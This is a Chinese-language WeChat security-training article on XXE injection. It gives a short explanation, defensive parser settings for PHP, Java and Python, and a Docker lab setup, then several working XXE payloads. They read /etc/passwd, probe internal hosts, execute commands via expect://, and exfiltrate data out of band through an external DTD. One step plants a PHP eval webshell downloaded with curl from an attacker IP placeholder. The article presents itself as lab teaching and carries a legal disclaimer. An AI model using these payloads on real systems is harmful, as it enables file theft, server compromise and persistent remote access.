原创 禾小盾 数字人才创研院
微信号 HD-Talent
功能介绍 提供网络安全数字化人才创新培养体系,助力网络安全爱好者一臂之力。
__发表于
收录于合集
#知识分享 5 个
#XML 1 个
点击上方蓝字关注我们
郑重说明
数字人才创研院秉承 **探究学习与交流知识** 的原则,所有发布的技术文章仅供参考,目的在于助力你获得更多知识;与此同时,让我们共同遵守《网络安全法》,未经授权请勿利用文章中的技术内容对任何计算机系统进行非授权操作,否则对他人或单位而造成的直接或间接后果或损失,均由使用者本人负责。
公众号发表的文章如有涉及您的侵权,烦请私信联系告知,我们会立即删除并对您表达最诚挚的歉意!感谢您的理解!
Purpose of recommendation
知识介绍
XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,它发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。 XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
**☆产生的主要原因** 包含如下:
1.有外部实体,将数据传入服务器,而且传入的格式是XML。
<!DOCTYPE message[<!ENTITY ms SYSTEN “file:///home/demo.txt”>]
2.服务器会将XML进行解析,解析后将内容呈现出来。 3.最终显示数据的地方能够被获取。 **☆主要防御措施** 包含如下: 1.检查服务器是否必须对XML进行解析。 2.检查服务器是否必须将解析的内容加载到页面或数据库。 3.检查服务器是否对XML文件头检查。 4.使用语言推荐的禁用外部实体的方法。
#PHP:libxml_disable_entity_loader(true);
#Java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false);.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
#Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)
接下来,让我们荡起双桨,优哉游哉,开启它的精彩之路吧!![](https://gitee.com/fuli009/images/raw/master/public/20230714181310.png)![](https://gitee.com/fuli009/images/raw/master/public/20230714181311.png)![](https://gitee.com/fuli009/images/raw/master/public/20230714181312.png)
01
★★搭建靶场 ★★
第一步:准备一台Docker环境虚拟机,然后执行快速拉取镜像的命令。
docker pull registry.cn-hangzhou.aliyuncs.com/cnhongke/xxe***:latest## 获取完整命令,敬请关注公众号哦!
**第二步** :执行如下语句,创建最新版容器。
docker run --restart=always -d -p 8080:80 registry.cn-hangzhou.aliyuncs.com/cnhongke/xxe***#映射端口需要结合实际情况自行设定docker ps -a
**第三步** :访问映射的IP或域名,如果显示如下图,即表明安装成功。
**第四步** :关注下方公众号并回复:XXE,获得下拉镜像的地址。
到此,我们完成了XXE靶场的部署;接下来,Getshell的利用正式开始。
02
★★ 利用思路 ★★
**0X01** **直接读取系统文件**
使用如下类似Payload进行读取系统敏感文件
<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>
** 0X02 ** 内网探针或攻击内网应用(触发漏洞地址)
使用如下类似Payload获取内网系统敏感文件
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE cnc [ <!ELEMENT cnc ANY > <!ENTITY xxe SYSTEM "http://IP/index.txt" >]><x>&xxe;</x>
#IP为内网地址或域名
** 0X03 ** 借助expect扩展执行系统命令
(1)使用如下类似Payload获取系统敏感文件
<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" >]><x>&xxe;</x>
(2)部署Web服务器,达到Getshell的方法。
首先,准备好poc.php,并写入一句话马,参考如下:
<?php echo('<?php eval($_POST[‘2023’]);?>');?>
然后,利用XXE执行下载命令,参考如下:
<?xml version="1.0" version="UTF-8"?> <!DOCTYPE title[ <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'攻击机ip/poc.php'"> ]>
<config><title>&xxe;</title></config
最后,借助蚁剑连接即可。
** 0X04 ** 引入外部实体 dtd命令
使用如下类似Payload获取系统敏感文件
<?xml version="1.0" ?><!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8080/xml.dtd"> %file;]><x>&xxe;</x>
xml.dtd:<!ENTITY send SYSTEM "file:///etc/passwd">
** 0X05 ** 无回显–读取文件
直接使用如下类似Payload获取敏感信息
<?xml version="1.0"?><!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % dtd SYSTEM "http://远程:8081/test.dtd"> %dtd; %xxe;]>
** 0X06 ** 协议-读文件(绕过)
直接使用如下类似Payload获取敏感信息
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]><x>&xxe;</x>
如果喜欢,敬请关注哦,后期更精彩!
往 期 推 荐 ·值 得 细 看
[
2023全网最优渗透研学靶场汇总(上)
2023-02-23
](https://mp.weixin.qq.com/s?__biz=MzkwODMzOTA2NA==&mid=2247487135&idx=1&sn=c9b74b1fb501a3909fff462ca4ec1a4e&chksm=c0ca3c88f7bdb59e524544c1f0b8c3079956352417940311e7ac8f30a09b1ad7fb9c6a59da9f&scene=21#wechat_redirect)[
PHPMyadmin的Getshell方法汇总
2023-07-01
](https://mp.weixin.qq.com/s?__biz=MzkwODMzOTA2NA==&mid=2247489772&idx=1&sn=bb2dff403c65967b451f73d0716b3ff7&chksm=c0ca2afbf7bda3eda3dbbe4a70bb3e6e76a3a08affbfa79fc28664bcf54e5ab1e8d8bfaf9c88&scene=21#wechat_redirect)[
知识分享|Redis未授权访问漏洞汇集
2023-06-26
](https://mp.weixin.qq.com/s?__biz=MzkwODMzOTA2NA==&mid=2247489483&idx=1&sn=58e24966150250869a8a3f12b16dce5f&chksm=c0ca25dcf7bdacca1714f092de0aa3e218d6f745f55f9bedc97213a78d85dc30fb016ec88c52&scene=21#wechat_redirect)[
ThinkPHP|送给渗透测试专家们的“福利”
2023-06-13
](https://mp.weixin.qq.com/s?__biz=MzkwODMzOTA2NA==&mid=2247489030&idx=1&sn=0eedba8da8ca3b61c613e4814ebe54d0&chksm=c0ca2411f7bdad0732ca8182381dc0ac3dce686b7de3f52d46940f3fa88edcc60ffa99cfea81&scene=21#wechat_redirect)
END
预览时标签不可点
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看